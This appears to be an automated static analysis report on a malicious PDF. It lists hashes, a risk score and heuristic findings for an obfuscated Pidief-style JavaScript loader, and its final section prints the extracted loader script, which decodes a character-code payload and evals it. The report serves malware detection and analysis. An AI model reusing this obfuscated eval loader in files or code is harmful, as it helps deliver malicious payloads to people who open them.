Malicious PDF — malware analysis report

Static analysis result for SHA-256 33bc93b6f4376fb0…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-09
MD5: bbb0d5d16cfb2dcc81a55da70e5e6d84 SHA-1: cd5f4e2dbaad45c1c5e3456ad68e7db7c907edea SHA-256: 33bc93b6f4376fb0e60a3351d77d5aa4cb6dd6892224ecf6e384dcda1d1eef17
86 Risk Score

Malware Insights

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings. The ML classifier strongly suggests malicious intent. While the specific JavaScript code was not detailed, its presence within a PDF typically points to an attempt to execute malicious code, potentially leading to further compromise. No document body content was available for analysis beyond a single word.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB189 446 bytes
SHA-256: a316b9af082f82f4917cf881c425302f30d80ae2afdcbaa1e98009b16a05060b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
antd='';
culc=('qwrwqr','tit');
e('fupn=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
tdo=e('String.fr'+fupn.substr(0,10));
chviq = e(fupn.substr(10)['replace'](/u/g,','));
e('k=chviq.length');
for (i = 0; i < k; i+=2) {
	syp = chviq[i+1] + ('erybjkerl',chviq[i]);
	antd += tdo(syp);
}
e(antd);

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